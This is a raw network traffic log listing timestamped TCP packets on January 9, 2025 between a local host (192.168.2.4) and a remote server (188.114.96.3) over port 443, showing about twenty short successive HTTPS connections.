Jan 9, 2025 08:29:58.483635902 CET	50163	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:58.483690023 CET	443	50163	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:58.940083027 CET	443	50163	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:58.945358992 CET	50163	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:58.945391893 CET	443	50163	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:59.057924986 CET	443	50163	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:59.057980061 CET	443	50163	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:59.058011055 CET	443	50163	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:59.058043957 CET	443	50163	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:59.058156013 CET	50163	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:59.058156967 CET	50163	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:59.058176041 CET	443	50163	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:59.058305979 CET	50163	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:59.060023069 CET	50163	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:59.060028076 CET	50164	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:59.060075998 CET	443	50164	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:59.061511993 CET	50164	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:59.065349102 CET	50164	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:59.065366983 CET	443	50164	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:59.520576000 CET	443	50164	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:59.525368929 CET	50164	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:59.525386095 CET	443	50164	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:59.664190054 CET	443	50164	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:59.664267063 CET	443	50164	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:59.664294958 CET	443	50164	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:59.664328098 CET	443	50164	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:59.664369106 CET	50164	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:59.664382935 CET	443	50164	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:59.664417982 CET	50164	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:59.664433956 CET	443	50164	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:59.668131113 CET	50164	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:59.669733047 CET	50165	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:59.669753075 CET	50164	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:59.669778109 CET	443	50165	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:59.671442986 CET	50165	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:59.677345991 CET	50165	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:59.677362919 CET	443	50165	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:00.151801109 CET	443	50165	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:00.154089928 CET	50165	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:00.154130936 CET	443	50165	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:00.290127039 CET	443	50165	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:00.290182114 CET	443	50165	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:00.290213108 CET	443	50165	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:00.290232897 CET	50165	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:00.290241003 CET	443	50165	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:00.290268898 CET	443	50165	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:00.290288925 CET	50165	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:00.290354967 CET	443	50165	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:00.290405035 CET	50165	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:00.291055918 CET	50165	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:00.292139053 CET	50166	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:00.292182922 CET	443	50166	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:00.292244911 CET	50166	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:00.292454958 CET	50166	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:00.292471886 CET	443	50166	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:00.752897024 CET	443	50166	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:00.754807949 CET	50166	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:00.754832029 CET	443	50166	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:00.893029928 CET	443	50166	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:00.893075943 CET	443	50166	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:00.893102884 CET	443	50166	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:00.893135071 CET	443	50166	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:00.893219948 CET	443	50166	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:00.893265009 CET	50166	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:00.893353939 CET	50166	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:00.895232916 CET	50167	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:00.895286083 CET	443	50167	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:00.895293951 CET	50166	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:00.895790100 CET	50167	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:00.895790100 CET	50167	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:00.895824909 CET	443	50167	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:01.353245020 CET	443	50167	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:01.354988098 CET	50167	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:01.355031967 CET	443	50167	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:01.481847048 CET	443	50167	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:01.481916904 CET	443	50167	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:01.481951952 CET	443	50167	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:01.481981039 CET	443	50167	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:01.482001066 CET	50167	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:01.482031107 CET	443	50167	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:01.482044935 CET	50167	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:01.482100010 CET	443	50167	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:01.482198000 CET	50167	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:01.483777046 CET	50167	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:01.483779907 CET	50168	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:01.483817101 CET	443	50168	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:01.483922958 CET	50168	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:01.484297037 CET	50168	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:01.484307051 CET	443	50168	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:01.957488060 CET	443	50168	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:01.960225105 CET	50168	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:01.960241079 CET	443	50168	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:02.094238043 CET	443	50168	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:02.094295025 CET	443	50168	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:02.094332933 CET	443	50168	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:02.094342947 CET	50168	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:02.094357014 CET	443	50168	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:02.094387054 CET	443	50168	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:02.094388962 CET	50168	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:02.094398022 CET	443	50168	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:02.094438076 CET	50168	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:02.094443083 CET	443	50168	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:02.094502926 CET	443	50168	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:02.094546080 CET	50168	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:02.096498013 CET	50168	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:02.098121881 CET	50169	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:02.098174095 CET	443	50169	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:02.098237038 CET	50169	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:02.098563910 CET	50169	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:02.098582029 CET	443	50169	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:02.588993073 CET	443	50169	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:02.591470957 CET	50169	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:02.591500998 CET	443	50169	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:02.719053984 CET	443	50169	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:02.719106913 CET	443	50169	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:02.719137907 CET	443	50169	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:02.719166040 CET	443	50169	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:02.719172955 CET	50169	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:02.719208002 CET	443	50169	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:02.719223022 CET	50169	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:02.719268084 CET	443	50169	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:02.719306946 CET	50169	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:02.720215082 CET	50169	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:02.721568108 CET	50170	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:02.721610069 CET	443	50170	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:02.721688986 CET	50170	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:02.721952915 CET	50170	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:02.721966028 CET	443	50170	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:03.198494911 CET	443	50170	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:03.200397015 CET	50170	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:03.200428963 CET	443	50170	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:03.345295906 CET	443	50170	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:03.345359087 CET	443	50170	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:03.345380068 CET	443	50170	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:03.345422029 CET	443	50170	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:03.345427036 CET	50170	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:03.345442057 CET	443	50170	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:03.345531940 CET	443	50170	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:03.345664024 CET	50170	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:03.346956015 CET	50170	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:03.347542048 CET	50171	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:03.347589970 CET	443	50171	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:03.347686052 CET	50171	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:03.348035097 CET	50171	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:03.348050117 CET	443	50171	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:03.821846962 CET	443	50171	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:03.824024916 CET	50171	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:03.824054956 CET	443	50171	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:03.952737093 CET	443	50171	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:03.952816963 CET	443	50171	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:03.952847004 CET	443	50171	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:03.952871084 CET	50171	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:03.952877045 CET	443	50171	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:03.952889919 CET	443	50171	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:03.952927113 CET	50171	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:03.952972889 CET	443	50171	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:03.953011036 CET	50171	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:03.953020096 CET	443	50171	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:03.953103065 CET	443	50171	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:03.953155041 CET	50171	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:03.954224110 CET	50171	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:03.955235958 CET	50172	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:03.955281019 CET	443	50172	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:03.955370903 CET	50172	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:03.955686092 CET	50172	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:03.955698013 CET	443	50172	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:04.412467003 CET	443	50172	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:04.414618969 CET	50172	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:04.414639950 CET	443	50172	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:04.544862032 CET	443	50172	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:04.544914007 CET	443	50172	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:04.544949055 CET	443	50172	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:04.544970989 CET	50172	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:04.544986963 CET	443	50172	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:04.545017958 CET	443	50172	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:04.545037985 CET	50172	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:04.545044899 CET	443	50172	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:04.545094013 CET	50172	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:04.548540115 CET	443	50172	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:04.548593998 CET	443	50172	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:04.548700094 CET	50172	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:04.549253941 CET	50172	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:04.550079107 CET	50173	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:04.550115108 CET	443	50173	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:04.550190926 CET	50173	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:04.550513029 CET	50173	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:04.550527096 CET	443	50173	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:05.028528929 CET	443	50173	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:05.051369905 CET	50173	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:05.051395893 CET	443	50173	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:05.174371004 CET	443	50173	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:05.174416065 CET	443	50173	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:05.174453974 CET	443	50173	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:05.174483061 CET	443	50173	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:05.174567938 CET	443	50173	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:05.174583912 CET	50173	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:05.174583912 CET	50173	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:05.175501108 CET	50173	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:05.190952063 CET	50173	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:05.244142056 CET	50174	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:05.244206905 CET	443	50174	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:05.244417906 CET	50174	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:05.245146036 CET	50174	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:05.245163918 CET	443	50174	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:05.700525999 CET	443	50174	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:05.705353975 CET	50174	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:05.705374002 CET	443	50174	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:05.839732885 CET	443	50174	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:05.839781046 CET	443	50174	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:05.839811087 CET	443	50174	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:05.839835882 CET	443	50174	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:05.839833021 CET	50174	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:05.839854956 CET	443	50174	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:05.839875937 CET	50174	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:05.839935064 CET	443	50174	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:05.839979887 CET	50174	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:05.841157913 CET	50174	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:05.842622042 CET	50175	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:05.842678070 CET	443	50175	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:05.842732906 CET	50175	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:05.842994928 CET	50175	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:05.843010902 CET	443	50175	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:06.294804096 CET	443	50175	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:06.296519995 CET	50175	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:06.296551943 CET	443	50175	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:06.432871103 CET	443	50175	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:06.432945967 CET	443	50175	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:06.432977915 CET	443	50175	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:06.433000088 CET	50175	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:06.433027983 CET	443	50175	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:06.433058023 CET	443	50175	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:06.433078051 CET	50175	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:06.433084011 CET	443	50175	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:06.433125973 CET	50175	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:06.433135033 CET	443	50175	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:06.433162928 CET	443	50175	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:06.433207035 CET	50175	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:06.437370062 CET	50175	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:06.438967943 CET	50176	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:06.439003944 CET	443	50176	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:06.439069033 CET	50176	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:06.439392090 CET	50176	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:06.439399004 CET	443	50176	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:06.935250998 CET	443	50176	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:06.941368103 CET	50176	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:06.941384077 CET	443	50176	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:07.080220938 CET	443	50176	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:07.080286980 CET	443	50176	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:07.080317974 CET	443	50176	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:07.080351114 CET	443	50176	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:07.080380917 CET	50176	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:07.080388069 CET	443	50176	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:07.080492020 CET	443	50176	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:07.080502987 CET	50176	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:07.080635071 CET	50176	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:07.081377029 CET	50176	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:07.082377911 CET	50177	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:07.082442999 CET	443	50177	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:07.082645893 CET	50177	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:07.082845926 CET	50177	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:07.082864046 CET	443	50177	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:07.592395067 CET	443	50177	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:07.594965935 CET	50177	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:07.594999075 CET	443	50177	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:07.735476971 CET	443	50177	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:07.735527039 CET	443	50177	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:07.735553026 CET	443	50177	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:07.735599995 CET	443	50177	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:07.735641956 CET	50177	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:07.735677004 CET	443	50177	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:07.735707045 CET	50177	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:07.735742092 CET	443	50177	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:07.737361908 CET	50177	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:07.737482071 CET	50177	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:07.737597942 CET	50178	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:07.737632036 CET	443	50178	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:07.741481066 CET	50178	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:07.745363951 CET	50178	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:07.745374918 CET	443	50178	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:08.141937017 CET	50178	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:08.143898010 CET	50179	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:08.143955946 CET	443	50179	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:08.144115925 CET	50179	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:08.144479990 CET	50179	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:08.144499063 CET	443	50179	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:08.183339119 CET	443	50178	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:08.199913025 CET	443	50178	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:08.199974060 CET	50178	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:08.608259916 CET	443	50179	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:08.608339071 CET	50179	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:08.610776901 CET	50179	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:08.610790968 CET	443	50179	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:08.611028910 CET	443	50179	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:08.612647057 CET	50179	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:08.655334949 CET	443	50179	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:08.747528076 CET	443	50179	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:08.747577906 CET	443	50179	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:08.747608900 CET	443	50179	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:08.747621059 CET	50179	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:08.747633934 CET	443	50179	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:08.747658968 CET	443	50179	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:08.747678041 CET	50179	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:08.747746944 CET	443	50179	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:08.747782946 CET	50179	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:08.748428106 CET	50179	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:08.749380112 CET	50180	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:08.749418020 CET	443	50180	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:08.749492884 CET	50180	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:08.749767065 CET	50180	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:08.749779940 CET	443	50180	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:09.223915100 CET	443	50180	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:09.227025986 CET	50180	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:09.227054119 CET	443	50180	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:09.370311022 CET	443	50180	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:09.370378017 CET	443	50180	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:09.370407104 CET	443	50180	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:09.370435953 CET	443	50180	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:09.370498896 CET	50180	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:09.370526075 CET	443	50180	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:09.373431921 CET	443	50180	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:09.375447035 CET	50180	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:09.376852989 CET	50180	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:09.376853943 CET	50181	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:09.376909018 CET	443	50181	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:09.377108097 CET	50181	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:09.377631903 CET	50181	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:09.377645969 CET	443	50181	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:09.853790998 CET	443	50181	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:09.855869055 CET	50181	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:09.855885029 CET	443	50181	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:09.999392986 CET	443	50181	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:09.999468088 CET	443	50181	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:09.999507904 CET	443	50181	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:09.999522924 CET	50181	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:09.999541044 CET	443	50181	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:09.999568939 CET	443	50181	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:09.999581099 CET	50181	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:09.999586105 CET	443	50181	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:09.999629974 CET	50181	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:09.999634981 CET	443	50181	188.114.96.3	192.168.2.4
